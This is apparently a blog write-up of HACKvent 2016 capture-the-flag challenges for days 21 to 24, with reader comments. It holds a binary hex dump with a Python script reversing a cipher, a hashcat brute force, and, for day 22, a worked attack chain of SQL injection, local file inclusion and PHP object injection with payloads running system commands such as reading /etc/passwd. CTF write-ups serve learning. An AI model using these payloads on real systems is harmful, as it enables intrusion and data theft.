0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x08, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x0C, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x10, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x14, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xB0, 0x42, 0x40, 0x00, 0x01, 0x05, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xB4, 0x42, 0x40, 0x00, 0x01, 0x05, 0xA0, 0x42, 0x40, 0x00, 0xA1, 0xB8, 0x42, 0x40, 0x00, 0x01, 0x05, 0xA4, 0x42, 0x40, 0x00, 0xA1, 0xBC, 0x42, 0x40, 0x00, 0x01, 0x05, 0xA8, 0x42, 0x40, 0x00, 0xA1, 0xC0, 0x42, 0x40, 0x00, 0x01, 0x05, 0xAC, 0x42, 0x40, 0x00, 0xC3, 0xC8, 0x04, 0x00, 0x00, 0xE8, 0x42, 0xDA, 0xFF, 0xFF, 0xFF, 0x75, 0x0C, 0xFF, 0x75, 0x08, 0xE8, 0x6A, 0xDA, 0xFF, 0xFF, 0x8B, 0x7D, 0x08, 0x8B, 0x35, 0xCC, 0x42, 0x40, 0x00, 0x89, 0x75, 0xFC, 0x83, 0x7D, 0xFC, 0x00, 0x74, 0x0D, 0xE8, 0x0E, 0xDB, 0xFF, 0xFF, 0x83, 0xC7, 0x40, 0xFF, 0x4D, 0xFC, 0xEB, 0xED, 0xBF, 0x18, 0x42, 0x40, 0x00, 0x8B, 0x35, 0x98, 0x42, 0x40, 0x00, 0x89, 0x75, 0xFC, 0x83, 0x7D, 0xFC, 0x00, 0x74, 0x0D, 0xE8, 0xED, 0xDA, 0xFF, 0xFF, 0x83, 0xC7, 0x40, 0xFF, 0x4D, 0xFC, 0xEB, 0xED, 0xB8, 0x9C, 0x42, 0x40, 0x00, 0x33, 0xF6, 0x83, 0xFE, 0x14, 0x74, 0x0D, 0x8B, 0x0C, 0x30, 0x0F, 0xC9, 0x89, 0x0C, 0x30, 0x83, 0xC6, 0x04, 0xEB, 0xEE, 0x33, 0xC9, 0xC9, 0xC2, 0x08, 0x00, 0x6A, 0x00, 0xE8, 0xE6, 0x02, 0x00, 0x00, 0xA3, 0xD0, 0x42, 0x40, 0x00, 0x6A, 0x00, 0x68, 0xD6, 0x38, 0x40, 0x00, 0x6A, 0x00, 0x6A, 0x65, 0xFF, 0x35, 0xD0, 0x42, 0x40, 0x00, 0xE8, 0x13, 0x03, 0x00, 0x00, 0x6A, 0x00, 0xE8, 0xCA, 0x02, 0x00, 0x00, 0xC8, 0x00, 0x00, 0x00, 0x83, 0x7D, 0x0C, 0x10, 0x75, 0x0F, 0x6A, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0xD4, 0x02, 0x00, 0x00, 0xE9, 0xE8, 0x01, 0x00, 0x00, 0x81, 0x7D, 0x0C, 0x13, 0x01, 0x00, 0x00, 0x75, 0x2D, 0xBA, 0x31, 0x00, 0x00, 0x00, 0x4A, 0x64, 0x8B, 0x02, 0xF7, 0x40, 0x68, 0x70, 0x00, 0x00, 0x00, 0x74, 0x16, 0xBE, 0xDE, 0x3B, 0x40, 0x00, 0x56, 0x5A, 0x83, 0xEA, 0x0D, 0x4A, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x10, 0xFF, 0x75, 0x08, 0xFF, 0xD2, 0xE9, 0xB2, 0x01, 0x00, 0x00, 0x81, 0x7D, 0x0C, 0x11, 0x01, 0x00, 0x00, 0x0F, 0x85, 0x17, 0x01, 0x00, 0x00, 0x83, 0x7D, 0x10, 0x68, 0x75, 0x0F, 0x6A, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0x7C, 0x02, 0x00, 0x00, 0xE9, 0xFD, 0x00, 0x00, 0x00, 0x83, 0x7D, 0x10, 0x01, 0x0F, 0x85, 0xF3, 0x00, 0x00, 0x00, 0x6A, 0x28, 0x68, 0xD8, 0x42, 0x40, 0x00, 0x68, 0xE8, 0x03, 0x00, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0x53, 0x02, 0x00, 0x00, 0x81, 0x3D, 0xD8, 0x42, 0x40, 0x00, 0x48, 0x56, 0x31, 0x36, 0x0F, 0x85, 0xC7, 0x00, 0x00, 0x00, 0xBE, 0xD8, 0x42, 0x40, 0x00, 0x83, 0xC6, 0x05, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xBF, 0xFE, 0x42, 0x40, 0x00, 0xF3, 0xA4, 0x46, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xF3, 0xA4, 0x46, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xF3, 0xA4, 0x46, 0xB9, 0x04, 0x00, 0x00, 0x00, 0xF3, 0xA4, 0x68, 0x45, 0x40, 0x40, 0x00, 0x68, 0xF6, 0x42, 0x40, 0x00, 0x68, 0xFE, 0x42, 0x40, 0x00, 0xE8, 0x4F, 0x01, 0x00, 0x00, 0xB9, 0x08, 0x00, 0x00, 0x00, 0xBF, 0x70, 0x40, 0x40, 0x00, 0xBE, 0xF6, 0x42, 0x40, 0x00, 0xF3, 0xA6, 0x75, 0x6A, 0x68, 0x45, 0x40, 0x40, 0x00, 0x68, 0xF6, 0x42, 0x40, 0x00, 0x68, 0x06, 0x43, 0x40, 0x00, 0xE8, 0x28, 0x01, 0x00, 0x00, 0xB9, 0x08, 0x00, 0x00, 0x00, 0xBF, 0x78, 0x40, 0x40, 0x00, 0xBE, 0xF6, 0x42, 0x40, 0x00, 0xF3, 0xA6, 0x75, 0x39, 0xE8, 0x30, 0x01, 0x00, 0x00, 0x83, 0x3D, 0x0E, 0x43, 0x40, 0x00, 0x01, 0x75, 0x21, 0x6A, 0x40, 0x68, 0x40, 0x40, 0x40, 0x00, 0x68, 0x55, 0x40, 0x40, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0xB3, 0x01, 0x00, 0x00, 0xFF, 0x35, 0xD4, 0x42, 0x40, 0x00, 0xE8, 0x96, 0x01, 0x00, 0x00, 0xEB, 0x08, 0xFF, 0x75, 0x08, 0xE8, 0xB7, 0x00, 0x00, 0x00, 0xEB, 0x08, 0xFF, 0x75, 0x08, 0xE8, 0xAD, 0x00, 0x00, 0x00, 0xEB, 0x08, 0xFF, 0x75, 0x08, 0xE8, 0xA3, 0x00, 0x00, 0x00, 0xEB, 0x08, 0xFF, 0x75, 0x08, 0xE8, 0x99, 0x00, 0x00, 0x00, 0xE9, 0x8E, 0x00, 0x00, 0x00, 0x81, 0x7D, 0x0C, 0x01, 0x02, 0x00, 0x00, 0x75, 0x14, 0xFF, 0x75, 0x14, 0x6A, 0x02, 0x68, 0xA1, 0x00, 0x00, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0x66, 0x01, 0x00, 0x00, 0xEB, 0x71, 0x81, 0x7D, 0x0C, 0x10, 0x01, 0x00, 0x00, 0x75, 0x68, 0xB8, 0xE3, 0x3B, 0x40, 0x00, 0x50, 0x68, 0xE8, 0x03, 0x00, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0x2A, 0x01, 0x00, 0x00, 0xA3, 0xD4, 0x42, 0x40, 0x00, 0x5A, 0x83, 0xEA, 0x07, 0x87, 0xD1, 0x6A, 0x00, 0x6A, 0x0A, 0x68, 0x37, 0x13, 0x00, 0x00, 0xFF, 0x75, 0x08, 0xFF, 0xD1, 0xFF, 0x35, 0xD4, 0x42, 0x40, 0x00, 0xE8, 0x0C, 0x01, 0x00, 0x00, 0x6A, 0x69, 0xFF, 0x35, 0xD0, 0x42, 0x40, 0x00, 0xE8, 0x23, 0x01, 0x00, 0x00, 0x50, 0x6A, 0x00, 0x68, 0x80, 0x00, 0x00, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0x0D, 0x01, 0x00, 0x00, 0x6A, 0x00, 0x6A, 0x1D, 0x68, 0xC5, 0x00, 0x00, 0x00, 0xFF, 0x35, 0xD4, 0x42, 0x40, 0x00, 0xE8, 0xF9, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xC9, 0xC2, 0x10, 0x00, 0xC8, 0x00, 0x00, 0x00, 0x6A, 0x10, 0x68, 0x40, 0x40, 0x40, 0x00, 0x68, 0x94, 0x40, 0x40, 0x00, 0xFF, 0x75, 0x08, 0xE8, 0xCF, 0x00, 0x00, 0x00, 0xFF, 0x35, 0xD4, 0x42, 0x40, 0x00, 0xE8, 0xB2, 0x00, 0x00, 0x00, 0xC9, 0xC2, 0x04, 0x00, 0xC8, 0x00, 0x00, 0x00, 0xFF, 0x75, 0x10, 0xE8, 0xBF, 0xD6, 0xFF, 0xFF, 0xFF, 0x75, 0x08, 0xFF, 0x75, 0x0C, 0xE8, 0xE5, 0xD4, 0xFF, 0xFF, 0xE8, 0x4F, 0xD7, 0xFF, 0xFF, 0xC9, 0xC2, 0x0C, 0x00, 0x68, 0x4D, 0x3B, 0x40, 0x00, 0x64, 0x67, 0xFF, 0x36, 0x00, 0x00, 0x64, 0x67, 0x89, 0x26, 0x00, 0x00, 0x0F, 0xB6, 0x05, 0xF1, 0x42, 0x40, 0x00, 0x83, 0xE8, 0x45, 0xF7, 0xF0, 0x64, 0x67, 0x8F, 0x06, 0x00, 0x00, 0x33, 0xC0, 0x83, 0xC4, 0x04, 0xC3, 0x33, 0xC0, 0xA3, 0x0E, 0x43, 0x40, 0x00, 0x8B, 0x4C, 0x24, 0x0C, 0x89, 0x41, 0x04, 0x89, 0x41, 0x08, 0x89, 0x41, 0x0C, 0x89, 0x41, 0x10, 0x89, 0x41, 0x14, 0x89, 0x41, 0x18, 0x83, 0x81, 0xB8, 0x00, 0x00, 0x00, 0x02, 0x6A, 0x09, 0x68, 0xEC, 0x42 , 0x40, 0x00, 0xE8, 0xBD, 0xFC, 0xFF, 0xFF, 0xB9, 0x14, 0x00, 0x00, 0x00, 0xBE, 0x80, 0x40, 0x40, 0x00, 0x8B, 0xF8, 0xF3, 0xA6, 0x75, 0x0A, 0xC7, 0x05, 0x0E, 0x43, 0x40, 0x00, 0x01, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xC3, 0xFF, 0x25, 0x78, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x7C, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x80, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x88, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x8C, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x90, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x94, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x98, 0x50, 0x40, 0x00, 0xFF, 0x25, 0x9C, 0x50, 0x40, 0x00, 0xFF, 0x25, 0xA0, 0x50, 0x40, 0x00, 0xFF, 0x25, 0xA4, 0x50, 0x40, 0x00, 0xFF, 0x25, 0xA8, 0x50, 0x40, 0x00, 0xFF, 0x25, 0xAC, 0x50] hackvent_string = "HACKvent_2016!!HACKvent_2016!!HACKvent_2016!!HACKvent_2016!!" hackvent_hex = [0x48, 0x41, 0x43, 0x4b, 0x76, 0x65, 0x6e, 0x74, 0x5f, 0x32, 0x30, 0x31, 0x36, 0x21, 0x21, 0x48, 0x41, 0x43, 0x4b, 0x76, 0x65, 0x6e, 0x74, 0x5f, 0x32, 0x30, 0x31, 0x36, 0x21, 0x21, 0x48, 0x41, 0x43, 0x4b, 0x76, 0x65, 0x6e, 0x74, 0x5f, 0x32, 0x30, 0x31, 0x36, 0x21, 0x21, 0x48, 0x41, 0x43, 0x4b, 0x76, 0x65, 0x6e, 0x74, 0x5f, 0x32, 0x30, 0x31, 0x36, 0x21, 0x21] input_tofind_1 = [0x90, 0xc2, 0x57, 0x75] input_tofind_2 = [0x82, 0xd7, 0x4c, 0x2d] saved_tofind_1 = list(input_tofind_1) saved_tofind_2 = list(input_tofind_2) tofind_1 = list(input_tofind_1) tofind_2 = list(input_tofind_2) LOW=3 HIGH=2 def ror(array_to_shift, positions): i = 0 while i < positions: tmp_element = array_to_shift[len(array_to_shift)-1] c = len(array_to_shift)-1 while c >= 0: array_to_shift[c] = array_to_shift[c-1] c -= 1 array_to_shift[0] = tmp_element i += 1 return array_to_shift def rol(array_to_shift, positions): i = 0 while i < positions: tmp_element = array_to_shift[0] c = 0 while c < len(array_to_shift)-1: array_to_shift[c] = array_to_shift[c+1] c += 1 array_to_shift[len(array_to_shift)-1] = tmp_element i += 1 return array_to_shift def print_result(title, array_to_print): string = "" for x in array_to_print: string += format(x, '02X') print title + string def print_chars(title, array_to_print): string = "" for x in array_to_print: string += chr(x) print title + string def print_result_rev(title, array_to_print): string = "" counter = len(array_to_print)-1 while counter >= 0: string += format(array_to_print[counter], '02X') counter -= 1 print title + string def print_chars_rev(title, array_to_print): string = "" counter = len(array_to_print)-1 while counter >= 0: string += chr(array_to_print[counter]) counter -= 1 print title + string #ToFind1 we only have the stored result from the last loop! #so we need to reproduce it back to the end ######### c = 0 while c < len(tofind_1): tofind_1[(len(tofind_1)-c-1)] ^= hackvent_hex[56+c] c+=1 rol(tofind_1, 10) ######### rol(tofind_2, 10) tofind_2[HIGH] ^= lookup_table[tofind_1[HIGH]] tofind_2[LOW] ^= lookup_table[tofind_1[LOW]] rol(tofind_1, 10) rol(tofind_2, 10) tofind_2[HIGH] ^= lookup_table[tofind_1[HIGH]] tofind_2[LOW] ^= lookup_table[tofind_1[LOW]] c = 0 while c < len(tofind_1): tofind_1[(len(tofind_1)-c-1)] ^= hackvent_hex[56+c] c+=1 # Save saved_tofind_1 = list(tofind_1) saved_tofind_2 = list(tofind_2) counter = 7 while counter >= 0: #Load tofind_1 = list(saved_tofind_1) tofind_2 = list(saved_tofind_2) rol(tofind_1, 9) ##### tmp = list(saved_tofind_2) tmp[HIGH] ^= tmp[LOW] tmp[LOW] ^= hackvent_hex[4+(counter*7)] ror(tmp,10) tmp[3] ^= hackvent_hex[(5+(counter*7))] tmp[2] ^= hackvent_hex[(1+5+(counter*7))] ##### tofind_1[LOW] ^= lookup_table[tmp[LOW]] tofind_1[HIGH] ^= lookup_table[tmp[HIGH]] #rol(tofind_2, 10) rol(tofind_1, 10) ###### tmp = list(saved_tofind_2) tmp[HIGH] ^= tmp[LOW] tmp[LOW] ^= hackvent_hex[4+(counter*7)] ###### tofind_1[LOW] ^= lookup_table[tmp[LOW]] tofind_1[HIGH] ^= lookup_table[tmp[HIGH]] rol(tofind_1, 9) rol(tofind_2, 10) ##### c = 0 while c < len(tofind_1): tofind_1[(len(tofind_1)-c-1)] ^= hackvent_hex[(c+(counter*7))] c+=1 rol(tofind_1, 10) ##### tofind_2[HIGH] ^= lookup_table[tofind_1[HIGH]] tofind_2[LOW] ^= lookup_table[tofind_1[LOW]] rol(tofind_2, 10) rol(tofind_1, 10) tofind_2[HIGH] ^= lookup_table[tofind_1[HIGH]] tofind_2[LOW] ^= lookup_table[tofind_1[LOW]] c = 0 while c < len(tofind_1): tofind_1[(len(tofind_1)-c-1)] ^= hackvent_hex[(c+(counter*7))] c+=1 #Save saved_tofind_2 = list(tofind_2) saved_tofind_1 = list(tofind_1) counter -= 1 print_result("Result 1: ", tofind_1) print_chars("Result 1: ", tofind_1) print_result("Result 2: ", tofind_2) print_chars("Result 2: ", tofind_2) print("Reversed Bytes:") print_result_rev("Result 1: ", tofind_1) print_chars_rev("Result 1: ", tofind_1) print_result_rev("Result 2: ", tofind_2) print_chars_rev("Result 2: ", tofind_2) print("----------------")
If we enter the searched checksums in the reversed algorithm script we can recover most parts of the nugget: HV16-6LwJ-kvpL-Yjwg-zu3Q-xxxx
We know that the last part is hashed with sha1, but now we know already 5 out of 9 characters! What means we can easily bruteforce it:
./hashcat -a 3 -m 100 target_hash.txt -1 ?l?u?d zu3Q-?1?1?1?1 dde8d5128cf7a04e047c58395d2f119d56f0e1a4:zu3Q-EN8o Session.Name...: hashcat Status.........: Cracked Input.Mode.....: Mask (zu3Q-?1?1?1?1) [9] Custom.Chars...: -1 ?l?u?d, -2 Undefined, -3 Undefined, -4 Undefined Hash.Target....: dde8d5128cf7a04e047c58395d2f119d56f0e1a4 Hash.Type......: SHA1 Time.Started...: 0 secs Speed.Dev.#2...: 14136.1 kH/s (1.27ms) Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.......: 8222720/14776336 (55.65%) Rejected.......: 0/8222720 (0.00%) Restore.Point..: 8110080/14776336 (54.89%)
Hashcat completes after several seconds:
zu3Q-EN8o
There is our complete nugget:
HV16-6LwJ-kvpL-Yjwg-zu3Q-EN8o
Day 22 – Pengus Site:
from the dark side
Description:
You heard from the media that Pengu switched to the dark side of the power to sell crazy stuff on the “darknet”.
Pwn his site to show everybody that he’s for a reason a character of some child series.
THE MEDIA ARTICLE:
The owner of the website 7y4b2aymlqwmkyuh.onion, Pengu, sells crazy stuff, oh noez!
Solution:
This one was pretty hard as well, mainly because the website doesn’t reveal any error message!
1. Entering the webshop was pretty easy, done by SQLInjection for the key.
‘ or ‘1’=’1
2. On the website there are 2 subpages (products and home), which are loaded with the “p=” parameter in the GET request. Playing around a bit with those, I found out that the parameter names are md5 hashes of ‘products’ and ‘home’.
3. Later on I found a LFI (Local File Inclusion) vulnerability on the same parameter “p”
http://7y4b2aymlqwmkyuh.onion/?p=php://filter/convert.base64-encode/resource=86024cad1e83101d97359d7351051156
– This returned the full php site as a base64 encoded string.
– I accessed the index.php page (md5 hashed) and found there was ‘admin’ mentioned in a comment. So I tried to access the admin page (again md5 hashed) and could get the source code out of it. The md5 hashed strings of index and admin are:
6a992d5529f459a44fee58c733255e86
21232f297a57a5a743894a0e4a801fc3
admin.php:
<?php error_reporting(0); class AdminPackage { public $password; public $leetness; function check_leetness() { if(md5($this->password) == '0e1337') echo '<pre> [+] Is it 1337? -> '.(assert('1337 == '.$this->leetness) ? 'Yes!' : 'Nope!').'</pre>'; } function __construct($password, $leetness) { $this->password = $password; $this->leetness = $leetness; } function bang() { echo "\n\nWAASDFA\n"; echo $this->leetness."\n"; echo $this->password."\n"; echo md5($this->password)."\n"; } } if(isset($_GET['a'])) { $admin_package = unserialize(base64_decode($_GET['a'])); $admin_package->check_leetness(); } ?>
4. Analysing the admin.php source code revealed:
– Injection is possible “unserialize”
$admin_package = unserialize(base64_decode($_GET['a']));
– Code execution is possible in “assert”
– “assert” is only called if we have the correct password hash
– But there is an implementation error in the PHP hash comparison (‘==’ is used instead of ‘===”) So we can find a magic hash which will return true at this check:
https://www.whitehatsec.com/blog/magic-hashes/
if(md5($this->password) == '0e1337') echo '<pre> [+] Is it 1337? -> '.(assert('1337 == '.$this->leetness) ? 'Yes!' : 'Nope!').'</pre>';
Now we can exploit the last stage with these serialized strings:
‘O:12:”AdminPackage”:2:{s:8:”password”;s:9:”240610708″;s:8:”leetness”;s:39:”1337 && system(“/bin/cat /etc/passwd”);”;}’
‘O:12:”AdminPackage”:2:{s:8:”password”;s:9:”240610708″;s:8:”leetness”;s:36:”1337 && system(“ls -l /home/pengu”);”;}’
‘O:12:”AdminPackage”:2:{s:8:”password”;s:9:”240610708″;s:8:”leetness”;s:67:”1337 && system(“cat /home/pengu/7b66a8f1be1f9cff0a19aaf28d0e0396″);”;}’
These inputs have to be base64 encoded to actually work.
The final request looks like this:
http://7y4b2aymlqwmkyuh.onion/?p=21232f297a57a5a743894a0e4a801fc3&a=TzoxMjoiQWRtaW5QYWNrYWdlIjoyOntzOjg6InBhc3N3b3JkIjtzOjk6IjI0MDYxMDcwOCI7czo4OiJsZWV0bmVzcyI7czo2NzoiMTMzNyAmJiBzeXN0ZW0oImNhdCAvaG9tZS9wZW5ndS83YjY2YThmMWJlMWY5Y2ZmMGExOWFhZjI4ZDBlMDM5NiIpOyI7fQ==
Result:
HV16-p3ng-ug0t-pwn3-dr0x-x0rz
Day 23 – From another time:
and still alive!
Description:
This was once state of the art … and it’s still alive.
Have a look here
Solution:
Googling for PRG files revealed that this is a commodore 64 binary. I found an emulator for it:
http://problemkaputt.de/c64.htm
I ran the binary and looked at the memory and there was the nugget in plain text:
HV16-siZy-UzxY-u7qV-nr3D-FSk4
Day 24 – M3M0RY:
m3rry h4xm4s
Description:
* , _/^\_ < HAX > * /.-.\ * * `/&\` * ,@.*;@, /_o.I %_\ * * (`'--:o(_@; /`;--.,__ `') * ;@`o % O,*`'`&\ * (`'--)_@ ;o %'()\ * /`;--._`''--._O'@; /&*,()~o`;-.,_ `""`) * /`,@ ;+& () o*`;-';\ (`""--.,_0 +% @' &()\ /-.,_ ``''--....-'`) * * /@%;o`:;'--,.__ __.'\ ;*,&(); @ % &^;~`"`o;@(); * /(); o^~; & ().o@*&`;&%O\ `"="==""==,,,.,="=="==="` __.----.(\-''#####---...___...-----._ '` \)_`"""""` .--' ') o( )_-\ `"""` `
nc challenges.hackvent.hacking-lab.com 3301
m3m0ry
Solution:
Did not solve that one 🙁
I see that on quite a few there were different solutions! And apparently d24 was to be a memory leak and a small ROP chain, but ended up being a simple RET overwrite. Anyways, good job!
Yeah, I also saw that there are different solutions on some challenges, makes it even more interesting! Let’s see what else we get when the official solution document will be published.
I am already looking forward for HackyEastern 😉
the algorithm used on day 21 was NewDes
https://en.wikipedia.org/wiki/NewDES
and can be detected with PEiD with the kanal plugin for example
https://www.aldeid.com/wiki/PEiD#Krypto_Analyzer
very nice writeups and awesome work. congrats!
Thanks for the hint!